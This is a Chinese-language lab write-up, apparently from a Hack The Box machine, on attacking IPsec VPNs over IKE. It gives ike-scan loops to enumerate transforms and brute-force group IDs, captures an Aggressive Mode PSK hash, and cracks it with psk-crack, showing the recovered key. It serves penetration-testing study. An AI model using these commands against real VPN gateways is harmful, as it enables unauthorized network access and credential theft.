IPsec 被广泛认为是保护网络之间(LAN到LAN)和从远程用户到网络网关(远程访问)通信的主要技术,是企业VPN解决方案的支柱。
在两个点之间建立安全关联(SA)的过程由IKE管理,IKE在ISAKMP的框架下运行,ISAKMP是一个用于身份验证和密钥交换的协议。这个过程分为几个阶段:
默认端口: 500/udp
ike-scan -M 10.10.11.87
ike-scan -P -M -A -n fakeID 10.10.11.87 #尝试获取hash和用户
psk-crack -d /usr/share/wordlists/rockyou.txt hash.txt #破解hash
IPSec 配置可以仅准备接受一个或几个转换。转换是值的组合。每个转换包含多个属性,如 DES 或 3DES 作为 加密算法,SHA 或 MD5 作为 完整性算法,预共享密钥作为 认证类型,Diffie-Hellman 1 或 2 作为密钥 分发算法,以及 28800 秒作为 生命周期。
┌──(root㉿kali)-[~/Desktop/htb/Season9/dakkmaddy]
└─# ike-scan -M 10.10.11.87
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.10.11.87 Main Mode Handshake returned
HDR=(CKY-R=c134e580401f99f5)
>>>> SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=09002689dfd6b712 (XAUTH)
VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
Ending ike-scan 1.9.6: 1 hosts scanned in 0.079 seconds (12.66 hosts/sec). 1 returned handshake; 0 returned notify
如果您处于第三种情况,则需要 稍微暴力破解一下以找到有效的变换:
首先,您需要创建所有可能的变换:
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
然后使用 ike-scan 对每一个进行暴力破解(这可能需要几分钟):
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
如果暴力破解没有成功,可能服务器即使对有效的变换也没有进行握手响应。然后,你可以尝试使用攻击模式进行相同的暴力破解:
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
为了能够捕获哈希,您需要一个支持 Aggressive 模式的有效转换和正确的 ID(组名)。您可能不知道有效的组名,因此您需要进行暴力破解。
使用 ike-scan 进行暴力破解 ID
首先尝试使用假 ID 发起请求,试图收集哈希(“-P”):
┌──(root㉿kali)-[~/Desktop/htb/Season9/dakkmaddy]
└─# ike-scan -P -M -A -n fakeID 10.10.11.87
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.10.11.87 Aggressive Mode Handshake returned
HDR=(CKY-R=1ab51aed145ca861)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
KeyExchange(128 bytes)
Nonce(32 bytes)
>>>> ID(Type=ID_USER_FQDN, Value=ike@expressway.htb)
VID=09002689dfd6b712 (XAUTH)
VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
Hash(20 bytes)
IKE PSK parameters (g_xr:g_xi:cky_r:cky_i:sai_b:idir_b:ni_b:nr_b:hash_r):
5ba394a1d0876dc2a16ac6aa96177360ea4cad1be687f056e32847ff3278eff59c1f0e066b7b18f880476c07265c197975b07da413dd8eea33b3ea50183bf1acf9516a2ae0c7a8398f0665c61909c3c68d66e100f0f64a0fe73a24f60bddd244042da02f6124e7a811fb02bd8663573b69e7210ac0495f633f83b0fa2c0b41ef:02a6cd390e58bf6d1ba1edf66674889a9493459fa6cba5dc56d60c9afcd2ea3234b1dbd8fe7ee0fbc8d22612606e02f05970ba6b6ac93099d31427312f0c323402b9f7dca9b54269f75aba53819f3896147a8cf876e90d6f4413c2f84eac399238f346acdc073bc643c5452834e8361e4f5622126303727b379331a9afa22d75:1ab51aed145ca861:362440fbcdd4954f:00000001000000010000009801010004030000240101000080010005800200028003000180040002800b0001000c000400007080030000240201000080010005800200018003000180040002800b0001000c000400007080030000240301000080010001800200028003000180040002800b0001000c000400007080000000240401000080010001800200018003000180040002800b0001000c000400007080:03000000696b6540657870726573737761792e687462:5e2f6cccdf7372997c8df867490b5a076ce2ed51:4bf936491957c2899af157620bfa00d3500148b22a8fc609e3b61710b5f7b212:dcd149c37fc62a5f93cd96919046e364935c69f7
Ending ike-scan 1.9.6: 1 hosts scanned in 0.088 seconds (11.36 hosts/sec). 1 returned handshake; 0 returned notify
Value=ike@expressway.htb
是用户ID(组名)如果没有返回哈希,那么这种暴力破解的方法可能会有效。如果返回了一些哈希,这意味着将会为一个假 ID 发送一个假哈希,因此这种方法对暴力破解 ID 不可靠。例如,可能会返回一个假哈希(这在现代版本中发生):
没有返回哈希,使用 ike-scan 暴力破解常见的组名
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
┌──(root㉿kali)-[~/Desktop/htb/Season9/dakkmaddy]
└─# psk-crack -d /usr/share/wordlists/rockyou.txt hash.txt
Starting psk-crack [ike-scan 1.9.6] (http://www.nta-monitor.com/tools/ike-scan/)
Running in dictionary cracking mode
key "freakingrockstarontheroad" matches SHA1 hash ef88dd821029639278193aefc1a543a1b7bf4288
Ending psk-crack: 8045040 iterations in 9.602 seconds (837882.47 iterations/sec)